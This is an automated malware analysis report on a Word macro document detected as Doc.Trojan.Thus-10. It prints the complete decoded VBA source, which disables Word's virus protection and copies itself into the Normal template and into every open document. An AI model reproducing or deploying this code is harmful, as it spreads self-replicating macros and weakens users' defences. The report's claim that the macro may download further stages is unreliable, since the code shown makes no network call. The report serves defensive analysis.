Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 39588dec6f585760…

MALICIOUS

Office (OLE)

27.5 KB Created: 2002-05-15 15:02:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 6879197537e3b24f467db56ec6d1496d SHA-1: 5244e26f56925093f583d4e3a88a142c79395824 SHA-256: 39588dec6f585760a428fef9e5fe6fabc12424606f3fca2abff552b9f2a6ee53
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains VBA macros, including a Document_Open macro, which is a common technique for executing malicious code upon opening a document. The ClamAV detection 'Doc.Trojan.Thus-10' strongly suggests malicious intent. The VBA script appears to be designed to ensure its own execution and potentially download further stages, though obfuscation limits full analysis.

Heuristics 3

  • ClamAV: Doc.Trojan.Thus-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-10
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2483 bytes
SHA-256: 2000bea6f6481609da14507fc4cb8d9f4449f95c782695c7e6b1f6a61602e856
Detection
ClamAV: Doc.Trojan.Thus-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'AntiThus2'
'Anti-Smyser'
' Програма призначена для знераження віруса 'Anti-Smyser'
    On Error Resume Next
    Application.Options.VirusProtection = False
 If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'AntiThus2'" Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
        .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
        .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
        .Item(1).CodeModule.CountOfLines)
    End If
    'Response = MsgBox("Документ вилікувано!", vbOKOnly, "Повідомлення")
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    
    CVD = 0
    For k = 1 To Application.Documents.Count
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'AntiThus2'" Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
            .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
        End If
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
            .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
            .VBComponents.Item(1).CodeModule.CountOfLines)
        End If
        CVD = CVD + 1
    Next k
    'Response = MsgBox(Str(CVD) + " документи вилікувано!", vbOKOnly, "Повідомлення")
   
    'Application.Options.VirusProtection = True
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub

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